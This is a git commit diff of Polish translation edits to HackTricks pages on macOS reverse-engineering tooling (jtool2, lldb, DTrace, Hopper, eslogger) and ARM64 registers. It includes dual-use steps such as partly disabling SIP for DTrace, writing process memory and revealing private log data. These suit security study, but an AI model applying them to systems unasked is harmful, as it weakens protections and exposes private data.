mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/macos-hardening/macos-security-and-privilege-escalation
This commit is contained in:
parent
aa1a30d19c
commit
be0583ba3a
@ -50,11 +50,11 @@ ARCH=x86_64 jtool2 --sig /System/Applications/Automator.app/Contents/MacOS/Autom
|
||||
# Get MIG information
|
||||
jtool2 -d __DATA.__const myipc_server | grep MIG
|
||||
```
|
||||
> [!CAUTION] > **jtool jest przestarzały na rzecz disarm**
|
||||
> [!OSTRZEŻENIE] > **jtool jest przestarzały na rzecz disarm**
|
||||
|
||||
### Codesign / ldid
|
||||
|
||||
> [!TIP] > **`Codesign`** można znaleźć w **macOS**, podczas gdy **`ldid`** można znaleźć w **iOS**
|
||||
> [!WSKAZÓWKA] > **`Codesign`** można znaleźć w **macOS**, podczas gdy **`ldid`** można znaleźć w **iOS**
|
||||
```bash
|
||||
# Get signer
|
||||
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
|
||||
@ -116,13 +116,13 @@ Zauważ, że te nazwy mogą być zafałszowane, aby utrudnić odwracanie binari
|
||||
|
||||
### Wywoływanie funkcji
|
||||
|
||||
Gdy funkcja jest wywoływana w binarium, które używa Objective-C, skompilowany kod zamiast wywoływać tę funkcję, wywoła **`objc_msgSend`**. Które wywoła finalną funkcję:
|
||||
Gdy funkcja jest wywoływana w binarnym pliku, który używa Objective-C, skompilowany kod zamiast wywoływać tę funkcję, wywoła **`objc_msgSend`**. Który wywoła finalną funkcję:
|
||||
|
||||
.png>)
|
||||
|
||||
Parametry, których ta funkcja oczekuje, to:
|
||||
|
||||
- Pierwszy parametr (**self**) to "wskaźnik, który wskazuje na **instancję klasy, która ma otrzymać wiadomość**". Mówiąc prościej, jest to obiekt, na którym wywoływana jest metoda. Jeśli metoda jest metodą klasy, będzie to instancja obiektu klasy (jako całość), natomiast dla metody instancji, self będzie wskazywać na zainicjowaną instancję klasy jako obiekt.
|
||||
- Pierwszy parametr (**self**) to "wskaźnik, który wskazuje na **instancję klasy, która ma otrzymać wiadomość**". Mówiąc prościej, to obiekt, na którym wywoływana jest metoda. Jeśli metoda jest metodą klasy, będzie to instancja obiektu klasy (jako całość), natomiast dla metody instancji, self będzie wskazywać na zainicjowaną instancję klasy jako obiekt.
|
||||
- Drugi parametr (**op**) to "selekcja metody, która obsługuje wiadomość". Mówiąc prościej, to po prostu **nazwa metody.**
|
||||
- Pozostałe parametry to wszelkie **wartości wymagane przez metodę** (op).
|
||||
|
||||
@ -148,7 +148,7 @@ x64:
|
||||
|
||||
### Dynadump
|
||||
|
||||
[**Dynadump**](https://github.com/DerekSelander/dynadump) to narzędzie do zrzutu klas binariów Objective-C. Github określa dyliby, ale to również działa z plikami wykonywalnymi.
|
||||
[**Dynadump**](https://github.com/DerekSelander/dynadump) to narzędzie do zrzutu klas binariów Objective-C. Github określa dyliby, ale działa to również z plikami wykonywalnymi.
|
||||
```bash
|
||||
./dynadump dump /path/to/bin
|
||||
```
|
||||
@ -191,7 +191,7 @@ Mem: 0x100027064-0x1000274cc __TEXT.__swift5_fieldmd
|
||||
Mem: 0x1000274cc-0x100027608 __TEXT.__swift5_capture
|
||||
[...]
|
||||
```
|
||||
Możesz znaleźć więcej informacji o [**informacjach przechowywanych w tej sekcji w tym poście na blogu**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html).
|
||||
Możesz znaleźć więcej informacji o [**informacjach przechowywanych w tej sekcji w tym wpisie na blogu**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html).
|
||||
|
||||
Ponadto, **binarne pliki Swift mogą mieć symbole** (na przykład biblioteki muszą przechowywać symbole, aby ich funkcje mogły być wywoływane). **Symbole zazwyczaj zawierają informacje o nazwie funkcji** i atrybucie w nieczytelny sposób, więc są bardzo przydatne, a istnieją "**demanglery**", które mogą uzyskać oryginalną nazwę:
|
||||
```bash
|
||||
@ -213,7 +213,7 @@ swift demangle
|
||||
|
||||
macOS udostępnia kilka interesujących API, które dostarczają informacji o procesach:
|
||||
|
||||
- `proc_info`: To główne API, które dostarcza wiele informacji o każdym procesie. Musisz być root, aby uzyskać informacje o innych procesach, ale nie potrzebujesz specjalnych uprawnień ani portów mach.
|
||||
- `proc_info`: To główne API, które dostarcza wiele informacji o każdym procesie. Musisz być rootem, aby uzyskać informacje o innych procesach, ale nie potrzebujesz specjalnych uprawnień ani portów mach.
|
||||
- `libsysmon.dylib`: Umożliwia uzyskanie informacji o procesach za pomocą funkcji XPC, jednak potrzebne jest posiadanie uprawnienia `com.apple.sysmond.client`.
|
||||
|
||||
### Stackshot & microstackshots
|
||||
@ -230,13 +230,13 @@ Jego plist znajduje się w `/System/Library/LaunchDaemons/com.apple.sysdiagnose.
|
||||
|
||||
- `com.apple.sysdiagnose.CacheDelete`: Usuwa stare archiwa w /var/rmp
|
||||
- `com.apple.sysdiagnose.kernel.ipc`: Specjalny port 23 (jądro)
|
||||
- `com.apple.sysdiagnose.service.xpc`: Interfejs w trybie użytkownika przez klasę Obj-C `Libsysdiagnose`. Można przekazać trzy argumenty w słowniku (`compress`, `display`, `run`)
|
||||
- `com.apple.sysdiagnose.service.xpc`: Interfejs trybu użytkownika przez klasę Obj-C `Libsysdiagnose`. Można przekazać trzy argumenty w słowniku (`compress`, `display`, `run`)
|
||||
|
||||
### Unified Logs
|
||||
|
||||
MacOS generuje wiele logów, które mogą być bardzo przydatne podczas uruchamiania aplikacji, próbując zrozumieć **co ona robi**.
|
||||
|
||||
Ponadto, są pewne logi, które będą zawierać tag `<private>`, aby **ukryć** niektóre **informacje** **identyfikowalne** **użytkownika** lub **komputera**. Jednak możliwe jest **zainstalowanie certyfikatu, aby ujawnić te informacje**. Postępuj zgodnie z wyjaśnieniami [**tutaj**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log).
|
||||
Ponadto, są pewne logi, które będą zawierać tag `<private>`, aby **ukryć** niektóre **identyfikowalne** informacje o **użytkowniku** lub **komputerze**. Jednak możliwe jest **zainstalowanie certyfikatu, aby ujawnić te informacje**. Postępuj zgodnie z wyjaśnieniami [**tutaj**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log).
|
||||
|
||||
### Hopper
|
||||
|
||||
@ -246,15 +246,15 @@ W lewym panelu Hopper można zobaczyć symbole (**Labels**) binariów, listę pr
|
||||
|
||||
#### Middle panel
|
||||
|
||||
W środkowym panelu można zobaczyć **zdekompilowany kod**. Można go zobaczyć jako **surowy** dekompilat, jako **graf**, jako **dekompilowany** i jako **binarne** klikając na odpowiednią ikonę:
|
||||
W środkowym panelu można zobaczyć **zdekompilowany kod**. Można go zobaczyć jako **surowy** dezasembl, jako **graf**, jako **dekompilowany** i jako **binarne** klikając na odpowiednią ikonę:
|
||||
|
||||
<figure><img src="../../../images/image (343).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Klikając prawym przyciskiem myszy na obiekt kodu, można zobaczyć **odniesienia do/od tego obiektu** lub nawet zmienić jego nazwę (to nie działa w dekompilowanym pseudokodzie):
|
||||
Klikając prawym przyciskiem myszy na obiekt kodu, można zobaczyć **odniesienia do/od tego obiektu** lub nawet zmienić jego nazwę (to nie działa w zdekompilowanym pseudokodzie):
|
||||
|
||||
<figure><img src="../../../images/image (1117).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ponadto, w **dolnej części środkowego panelu można pisać polecenia w Pythonie**.
|
||||
Ponadto, w **dolnej części środkowego panelu można pisać polecenia Pythona**.
|
||||
|
||||
#### Right panel
|
||||
|
||||
@ -269,7 +269,7 @@ DTrace używa funkcji **`dtrace_probe_create`**, aby utworzyć sondę dla każde
|
||||
> [!TIP]
|
||||
> Aby włączyć Dtrace bez całkowitego wyłączania ochrony SIP, możesz wykonać w trybie odzyskiwania: `csrutil enable --without dtrace`
|
||||
>
|
||||
> Możesz również użyć **`dtrace`** lub **`dtruss`** binariów, które **sam skompilowałeś**.
|
||||
> Możesz również **`dtrace`** lub **`dtruss`** binaria, które **sam skompilowałeś**.
|
||||
|
||||
Dostępne sondy dtrace można uzyskać za pomocą:
|
||||
```bash
|
||||
@ -388,7 +388,7 @@ Ponadto, podzbiór funkcjonalności Kperf znajduje się w `kpc`, który dostarcz
|
||||
### SpriteTree
|
||||
|
||||
[**SpriteTree**](https://themittenmac.com/tools/) to narzędzie do drukowania relacji między procesami.\
|
||||
Musisz monitorować swój Mac za pomocą polecenia **`sudo eslogger fork exec rename create > cap.json`** (terminal uruchamiający to wymaga FDA). A następnie możesz załadować json w tym narzędziu, aby zobaczyć wszystkie relacje:
|
||||
Musisz monitorować swój Mac za pomocą polecenia **`sudo eslogger fork exec rename create > cap.json`** (terminal uruchamiający to wymaga FDA). Następnie możesz załadować json w tym narzędziu, aby zobaczyć wszystkie relacje:
|
||||
|
||||
<figure><img src="../../../images/image (1182).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
@ -431,17 +431,17 @@ lldb -p 1122
|
||||
lldb -n malware.bin
|
||||
lldb -n malware.bin --waitfor
|
||||
```
|
||||
Możesz ustawić smak intel, używając lldb, tworząc plik o nazwie **`.lldbinit`** w swoim katalogu domowym z następującą linią:
|
||||
Możesz ustawić smak intel, używając lldb, tworząc plik o nazwie **`.lldbinit`** w swoim folderze domowym z następującą linią:
|
||||
```bash
|
||||
settings set target.x86-disassembly-flavor intel
|
||||
```
|
||||
> [!WARNING]
|
||||
> Wewnątrz lldb, zrzutuj proces za pomocą `process save-core`
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Komenda</strong></td><td><strong>Opis</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Rozpoczęcie wykonania, które będzie kontynuowane, aż do osiągnięcia punktu przerwania lub zakończenia procesu.</td></tr><tr><td><strong>process launch --stop-at-entry</strong></td><td>Rozpocznij wykonanie zatrzymując się w punkcie wejścia</td></tr><tr><td><strong>continue (c)</strong></td><td>Kontynuuj wykonanie debugowanego procesu.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Wykonaj następną instrukcję. Ta komenda pominie wywołania funkcji.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Wykonaj następną instrukcję. W przeciwieństwie do komendy nexti, ta komenda wejdzie w wywołania funkcji.</td></tr><tr><td><strong>finish (f)</strong></td><td>Wykonaj resztę instrukcji w bieżącej funkcji (“ramce”), zwróć i zatrzymaj.</td></tr><tr><td><strong>control + c</strong></td><td>Wstrzymaj wykonanie. Jeśli proces był uruchomiony (r) lub kontynuowany (c), spowoduje to zatrzymanie procesu ...gdziekolwiek aktualnie się wykonuje.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p><code>b main</code> #Każda funkcja o nazwie main</p><p><code>b <binname>`main</code> #Funkcja main bin</p><p><code>b set -n main --shlib <lib_name></code> #Funkcja main wskazanego bin</p><p><code>breakpoint set -r '\[NSFileManager .*\]$'</code> #Każda metoda NSFileManager</p><p><code>breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'</code></p><p><code>break set -r . -s libobjc.A.dylib</code> # Zatrzymaj w wszystkich funkcjach tej biblioteki</p><p><code>b -a 0x0000000100004bd9</code></p><p><code>br l</code> #Lista punktów przerwania</p><p><code>br e/dis <num></code> #Włącz/Wyłącz punkt przerwania</p><p>breakpoint delete <num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Uzyskaj pomoc dotyczącą komendy breakpoint</p><p>help memory write #Uzyskaj pomoc w zapisywaniu do pamięci</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <<a href="https://lldb.llvm.org/use/variable.html#type-format">format</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <reg/adres pamięci></strong></td><td>Wyświetl pamięć jako łańcuch zakończony znakiem null.</td></tr><tr><td><strong>x/i <reg/adres pamięci></strong></td><td>Wyświetl pamięć jako instrukcję asemblera.</td></tr><tr><td><strong>x/b <reg/adres pamięci></strong></td><td>Wyświetl pamięć jako bajt.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>To wydrukuje obiekt wskazywany przez parametr</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ( );</code></p><p>Należy pamiętać, że większość API lub metod Objective-C firmy Apple zwraca obiekty, a zatem powinny być wyświetlane za pomocą komendy “print object” (po). Jeśli po nie produkuje znaczącego wyniku, użyj <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #Zapisz AAAA w tym adresie<br>memory write -f s $rip+0x11f+7 "AAAA" #Zapisz AAAA w adresie</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Disas bieżącą funkcję</p><p>dis -n <funcname> #Disas funkcję</p><p>dis -n <funcname> -b <basename> #Disas funkcję<br>dis -c 6 #Disas 6 linii<br>dis -c 0x100003764 -e 0x100003768 # Od jednego adresu do drugiego<br>dis -p -c 4 # Rozpocznij w bieżącym adresie disasembli</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # Sprawdź tablicę 3 komponentów w rejestrze x1</td></tr><tr><td><strong>image dump sections</strong></td><td>Wydrukuj mapę pamięci bieżącego procesu</td></tr><tr><td><strong>image dump symtab <biblioteka></strong></td><td><code>image dump symtab CoreNLP</code> #Uzyskaj adres wszystkich symboli z CoreNLP</td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Komenda</strong></td><td><strong>Opis</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Rozpoczęcie wykonania, które będzie kontynuowane, aż do osiągnięcia punktu przerwania lub zakończenia procesu.</td></tr><tr><td><strong>process launch --stop-at-entry</strong></td><td>Rozpocznij wykonanie zatrzymując się w punkcie wejścia</td></tr><tr><td><strong>continue (c)</strong></td><td>Kontynuuj wykonanie debugowanego procesu.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Wykonaj następną instrukcję. Ta komenda pominie wywołania funkcji.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Wykonaj następną instrukcję. W przeciwieństwie do komendy nexti, ta komenda wejdzie w wywołania funkcji.</td></tr><tr><td><strong>finish (f)</strong></td><td>Wykonaj resztę instrukcji w bieżącej funkcji (“ramce”) i zatrzymaj.</td></tr><tr><td><strong>control + c</strong></td><td>Wstrzymaj wykonanie. Jeśli proces był uruchomiony (r) lub kontynuowany (c), spowoduje to zatrzymanie procesu ...gdziekolwiek aktualnie się wykonuje.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p><code>b main</code> #Każda funkcja o nazwie main</p><p><code>b <binname>`main</code> #Funkcja main bin</p><p><code>b set -n main --shlib <lib_name></code> #Funkcja main wskazanego bin</p><p><code>breakpoint set -r '\[NSFileManager .*\]$'</code> #Każda metoda NSFileManager</p><p><code>breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'</code></p><p><code>break set -r . -s libobjc.A.dylib</code> # Zatrzymaj w wszystkich funkcjach tej biblioteki</p><p><code>b -a 0x0000000100004bd9</code></p><p><code>br l</code> #Lista punktów przerwania</p><p><code>br e/dis <num></code> #Włącz/Wyłącz punkt przerwania</p><p>breakpoint delete <num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Uzyskaj pomoc dla komendy breakpoint</p><p>help memory write #Uzyskaj pomoc w zapisywaniu do pamięci</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <<a href="https://lldb.llvm.org/use/variable.html#type-format">format</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <reg/adres pamięci></strong></td><td>Wyświetl pamięć jako łańcuch zakończony zerem.</td></tr><tr><td><strong>x/i <reg/adres pamięci></strong></td><td>Wyświetl pamięć jako instrukcję asemblera.</td></tr><tr><td><strong>x/b <reg/adres pamięci></strong></td><td>Wyświetl pamięć jako bajt.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>To wydrukuje obiekt wskazywany przez parametr</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ( );</code></p><p>Należy pamiętać, że większość API lub metod Objective-C Apple zwraca obiekty, a zatem powinny być wyświetlane za pomocą komendy “print object” (po). Jeśli po nie produkuje znaczącego wyniku, użyj <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #Zapisz AAAA w tym adresie<br>memory write -f s $rip+0x11f+7 "AAAA" #Zapisz AAAA w adresie</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Disas bieżącą funkcję</p><p>dis -n <funcname> #Disas funkcję</p><p>dis -n <funcname> -b <basename> #Disas funkcję<br>dis -c 6 #Disas 6 linii<br>dis -c 0x100003764 -e 0x100003768 # Od jednego adresu do drugiego<br>dis -p -c 4 # Rozpocznij w bieżącym adresie disasembli</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # Sprawdź tablicę 3 komponentów w rejestrze x1</td></tr><tr><td><strong>image dump sections</strong></td><td>Wydrukuj mapę pamięci bieżącego procesu</td></tr><tr><td><strong>image dump symtab <library></strong></td><td><code>image dump symtab CoreNLP</code> #Uzyskaj adres wszystkich symboli z CoreNLP</td></tr></tbody></table>
|
||||
|
||||
> [!NOTE]
|
||||
> Przy wywoływaniu funkcji **`objc_sendMsg`**, rejestr **rsi** przechowuje **nazwę metody** jako łańcuch zakończony znakiem null (“C”). Aby wydrukować nazwę za pomocą lldb, zrób:
|
||||
> Przy wywoływaniu funkcji **`objc_sendMsg`**, rejestr **rsi** przechowuje **nazwę metody** jako łańcuch zakończony zerem (“C”). Aby wydrukować nazwę za pomocą lldb, zrób:
|
||||
>
|
||||
> `(lldb) x/s $rsi: 0x1000f1576: "startMiningWithPort:password:coreCount:slowMemory:currency:"`
|
||||
>
|
||||
@ -502,7 +502,7 @@ Podczas fuzzingu na MacOS ważne jest, aby nie pozwolić Macowi na uśpienie:
|
||||
|
||||
#### Rozłączenie SSH
|
||||
|
||||
Jeśli fuzzujesz przez połączenie SSH, ważne jest, aby upewnić się, że sesja nie zostanie zakończona. Zmień więc plik sshd_config na:
|
||||
Jeśli fuzzujesz przez połączenie SSH, ważne jest, aby upewnić się, że sesja nie zostanie zakończona. Zmień plik sshd_config na:
|
||||
|
||||
- TCPKeepAlive Yes
|
||||
- ClientAliveInterval 0
|
||||
|
@ -8,12 +8,12 @@ W architekturze ARMv8 poziomy wykonania, znane jako Poziomy Wyjątków (EL), def
|
||||
|
||||
1. **EL0 - Tryb Użytkownika**:
|
||||
- Jest to poziom o najmniejszych uprawnieniach i jest używany do wykonywania zwykłego kodu aplikacji.
|
||||
- Aplikacje działające na poziomie EL0 są izolowane od siebie i od oprogramowania systemowego, co zwiększa bezpieczeństwo i stabilność.
|
||||
- Aplikacje działające na EL0 są izolowane od siebie i od oprogramowania systemowego, co zwiększa bezpieczeństwo i stabilność.
|
||||
2. **EL1 - Tryb Jądra Systemu Operacyjnego**:
|
||||
- Większość jąder systemów operacyjnych działa na tym poziomie.
|
||||
- EL1 ma więcej uprawnień niż EL0 i może uzyskiwać dostęp do zasobów systemowych, ale z pewnymi ograniczeniami, aby zapewnić integralność systemu.
|
||||
3. **EL2 - Tryb Hypervisora**:
|
||||
- Ten poziom jest używany do wirtualizacji. Hypervisor działający na poziomie EL2 może zarządzać wieloma systemami operacyjnymi (każdy w swoim własnym EL1) działającymi na tym samym sprzęcie fizycznym.
|
||||
- Ten poziom jest używany do wirtualizacji. Hypervisor działający na EL2 może zarządzać wieloma systemami operacyjnymi (każdy w swoim własnym EL1) działającymi na tym samym sprzęcie fizycznym.
|
||||
- EL2 zapewnia funkcje izolacji i kontroli wirtualizowanych środowisk.
|
||||
4. **EL3 - Tryb Monitorowania Bezpieczeństwa**:
|
||||
- Jest to poziom o najwyższych uprawnieniach i jest często używany do bezpiecznego uruchamiania i zaufanych środowisk wykonawczych.
|
||||
@ -31,31 +31,31 @@ ARM64 ma **31 rejestrów ogólnego przeznaczenia**, oznaczonych od `x0` do `x30`
|
||||
3. **`x9`** do **`x15`** - Więcej rejestrów tymczasowych, często używanych do zmiennych lokalnych.
|
||||
4. **`x16`** i **`x17`** - **Rejestry Wywołań Wewnątrzproceduralnych**. Tymczasowe rejestry dla wartości natychmiastowych. Są również używane do pośrednich wywołań funkcji i stubów PLT (Tabela Łączenia Procedur).
|
||||
- **`x16`** jest używany jako **numer wywołania systemowego** dla instrukcji **`svc`** w **macOS**.
|
||||
5. **`x18`** - **Rejestr platformy**. Może być używany jako rejestr ogólnego przeznaczenia, ale na niektórych platformach ten rejestr jest zarezerwowany do użycia specyficznego dla platformy: Wskaźnik do bloku środowiska wątku lokalnego w Windows lub do wskazywania na aktualnie **wykonującą się strukturę zadania w jądrze Linux**.
|
||||
5. **`x18`** - **Rejestr platformy**. Może być używany jako rejestr ogólnego przeznaczenia, ale na niektórych platformach ten rejestr jest zarezerwowany do użycia specyficznego dla platformy: Wskaźnik do bloku środowiskowego wątku lokalnego w Windows lub wskaźnik do aktualnie **wykonującej się struktury zadania w jądrze linux**.
|
||||
6. **`x19`** do **`x28`** - To rejestry zachowywane przez wywoływaną funkcję. Funkcja musi zachować wartości tych rejestrów dla swojego wywołującego, więc są one przechowywane na stosie i odzyskiwane przed powrotem do wywołującego.
|
||||
7. **`x29`** - **Wskaźnik ramki** do śledzenia ramki stosu. Gdy tworzona jest nowa ramka stosu z powodu wywołania funkcji, rejestr **`x29`** jest **przechowywany na stosie**, a adres **nowego** wskaźnika ramki (adres **`sp`**) jest **przechowywany w tym rejestrze**.
|
||||
- Ten rejestr może być również używany jako **rejestr ogólnego przeznaczenia**, chociaż zazwyczaj jest używany jako odniesienie do **zmiennych lokalnych**.
|
||||
8. **`x30`** lub **`lr`** - **Rejestr łączenia**. Przechowuje **adres zwrotu**, gdy wykonywana jest instrukcja `BL` (Branch with Link) lub `BLR` (Branch with Link to Register), przechowując wartość **`pc`** w tym rejestrze.
|
||||
8. **`x30`** lub **`lr`** - **Rejestr łączenia**. Przechowuje **adres powrotu**, gdy wykonywana jest instrukcja `BL` (Branch with Link) lub `BLR` (Branch with Link to Register), przechowując wartość **`pc`** w tym rejestrze.
|
||||
- Może być również używany jak każdy inny rejestr.
|
||||
- Jeśli aktualna funkcja ma wywołać nową funkcję i tym samym nadpisać `lr`, przechowa ją na stosie na początku, to jest epilog (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Przechowaj `fp` i `lr`, wygeneruj miejsce i uzyskaj nowy `fp`) i odzyska ją na końcu, to jest prolog (`ldp x29, x30, [sp], #48; ret` -> Odzyskaj `fp` i `lr` i zwróć).
|
||||
- Jeśli bieżąca funkcja ma wywołać nową funkcję i tym samym nadpisać `lr`, przechowa ją na stosie na początku, to jest epilog (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Przechowaj `fp` i `lr`, wygeneruj przestrzeń i uzyskaj nowy `fp`) i odzyska ją na końcu, to jest prolog (`ldp x29, x30, [sp], #48; ret` -> Odzyskaj `fp` i `lr` i zwróć).
|
||||
9. **`sp`** - **Wskaźnik stosu**, używany do śledzenia szczytu stosu.
|
||||
- Wartość **`sp`** powinna być zawsze utrzymywana co najmniej w **wyrównaniu quadword**, w przeciwnym razie może wystąpić wyjątek wyrównania.
|
||||
10. **`pc`** - **Licznik programu**, który wskazuje na następną instrukcję. Ten rejestr może być aktualizowany tylko przez generowanie wyjątków, zwroty wyjątków i skoki. Jedynymi zwykłymi instrukcjami, które mogą odczytać ten rejestr, są instrukcje skoku z łącznikiem (BL, BLR), aby przechować adres **`pc`** w **`lr`** (Rejestr Łączenia).
|
||||
11. **`xzr`** - **Rejestr zerowy**. Nazywany również **`wzr`** w jego **32**-bitowej formie. Może być używany do łatwego uzyskania wartości zerowej (częsta operacja) lub do wykonywania porównań przy użyciu **`subs`**, jak **`subs XZR, Xn, #10`**, przechowując wynikowe dane nigdzie (w **`xzr`**).
|
||||
11. **`xzr`** - **Rejestr zerowy**. Nazywany również **`wzr`** w formie rejestru **32**-bitowego. Może być używany do łatwego uzyskania wartości zerowej (częsta operacja) lub do wykonywania porównań przy użyciu **`subs`**, jak **`subs XZR, Xn, #10`**, przechowując wynikowe dane nigdzie (w **`xzr`**).
|
||||
|
||||
Rejestry **`Wn`** są **32-bitową** wersją rejestru **`Xn`**.
|
||||
|
||||
### Rejestry SIMD i zmiennoprzecinkowe
|
||||
|
||||
Ponadto istnieje kolejne **32 rejestry o długości 128 bitów**, które mogą być używane w zoptymalizowanych operacjach SIMD (jedna instrukcja, wiele danych) oraz do wykonywania arytmetyki zmiennoprzecinkowej. Nazywane są rejestrami Vn, chociaż mogą również działać w **64**-bitowym, **32**-bitowym, **16**-bitowym i **8**-bitowym, a wtedy nazywane są **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** i **`Bn`**.
|
||||
Ponadto istnieje kolejne **32 rejestry o długości 128 bitów**, które mogą być używane w zoptymalizowanych operacjach SIMD (jedna instrukcja, wiele danych) oraz do wykonywania arytmetyki zmiennoprzecinkowej. Nazywane są rejestrami Vn, chociaż mogą również działać w **64**-bitach, **32**-bitach, **16**-bitach i **8**-bitach, a wtedy nazywane są **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** i **`Bn`**.
|
||||
|
||||
### Rejestry systemowe
|
||||
|
||||
**Istnieją setki rejestrów systemowych**, zwanych również rejestrami specjalnego przeznaczenia (SPRs), które są używane do **monitorowania** i **kontrolowania** zachowania **procesorów**.\
|
||||
Mogą być odczytywane lub ustawiane tylko za pomocą dedykowanej specjalnej instrukcji **`mrs`** i **`msr`**.
|
||||
|
||||
Specjalne rejestry **`TPIDR_EL0`** i **`TPIDDR_EL0`** są powszechnie spotykane podczas inżynierii odwrotnej. Sufiks `EL0` wskazuje na **minimalny wyjątek**, z którego rejestr może być dostępny (w tym przypadku EL0 jest regularnym poziomem wyjątku (uprawnień), na którym działają zwykłe programy).\
|
||||
Często są używane do przechowywania **adresu bazowego lokalizacji pamięci** dla przechowywania lokalnego wątku. Zazwyczaj pierwszy z nich jest odczytywalny i zapisywalny dla programów działających w EL0, ale drugi może być odczytywany z EL0 i zapisywany z EL1 (jak jądro).
|
||||
Specjalne rejestry **`TPIDR_EL0`** i **`TPIDDR_EL0`** są często spotykane podczas inżynierii odwrotnej. Sufiks `EL0` wskazuje na **minimalny wyjątek**, z którego rejestr może być dostępny (w tym przypadku EL0 to regularny poziom wyjątku (uprawnienia), na którym działają zwykłe programy).\
|
||||
Często są używane do przechowywania **adresu bazowego regionu pamięci lokalnej dla wątku**. Zwykle pierwszy z nich jest odczytywalny i zapisywalny dla programów działających w EL0, ale drugi może być odczytywany z EL0 i zapisywany z EL1 (jak jądro).
|
||||
|
||||
- `mrs x0, TPIDR_EL0 ; Odczytaj TPIDR_EL0 do x0`
|
||||
- `msr TPIDR_EL0, X0 ; Zapisz x0 do TPIDR_EL0`
|
||||
@ -81,18 +81,18 @@ Oto dostępne pola:
|
||||
> Nie wszystkie instrukcje aktualizują te flagi. Niektóre, takie jak **`CMP`** lub **`TST`**, to robią, a inne, które mają sufiks s, takie jak **`ADDS`**, również to robią.
|
||||
|
||||
- Flaga **szerokości rejestru (`nRW`)**: Jeśli flaga ma wartość 0, program będzie działał w stanie wykonawczym AArch64 po wznowieniu.
|
||||
- Aktualny **Poziom Wyjątku** (**`EL`**): Zwykły program działający w EL0 będzie miał wartość 0.
|
||||
- Bieżący **Poziom Wyjątków** (**`EL`**): Zwykły program działający w EL0 będzie miał wartość 0.
|
||||
- Flaga **jednoetapowego** (**`SS`**): Używana przez debugery do jednoetapowego działania, ustawiając flagę SS na 1 wewnątrz **`SPSR_ELx`** przez wyjątek. Program wykona krok i wyda wyjątek jednoetapowy.
|
||||
- Flaga **nielegalnego stanu wyjątku** (**`IL`**): Używana do oznaczania, gdy oprogramowanie z uprawnieniami wykonuje nieprawidłowe przejście na poziom wyjątku, ta flaga jest ustawiana na 1, a procesor wyzwala wyjątek stanu nielegalnego.
|
||||
- Flaga stanu **nielegalnego wyjątku** (**`IL`**): Używana do oznaczania, gdy oprogramowanie z uprawnieniami wykonuje nieprawidłowe przejście na poziom wyjątku, ta flaga jest ustawiana na 1, a procesor wyzwala wyjątek stanu nielegalnego.
|
||||
- Flagi **`DAIF`**: Te flagi pozwalają programowi z uprawnieniami na selektywne maskowanie niektórych zewnętrznych wyjątków.
|
||||
- Jeśli **`A`** wynosi 1, oznacza to, że będą wyzwalane **asynchroniczne przerwania**. Flaga **`I`** konfiguruje odpowiedź na zewnętrzne żądania przerwań sprzętowych (IRQ). a F jest związana z **szybkimi żądaniami przerwań** (FIR).
|
||||
- Jeśli **`A`** wynosi 1, oznacza to, że będą wyzwalane **asynchroniczne przerwania**. Flaga **`I`** konfiguruje odpowiedź na zewnętrzne żądania przerwań sprzętowych (IRQ). a F jest związana z **Szybkimi Żądaniami Przerwań** (FIR).
|
||||
- Flagi **wyboru wskaźnika stosu** (**`SPS`**): Programy z uprawnieniami działające w EL1 i wyżej mogą przełączać się między używaniem własnego rejestru wskaźnika stosu a wskaźnikiem modelu użytkownika (np. między `SP_EL1` a `EL0`). To przełączanie odbywa się przez zapis do specjalnego rejestru **`SPSel`**. Nie można tego zrobić z EL0.
|
||||
|
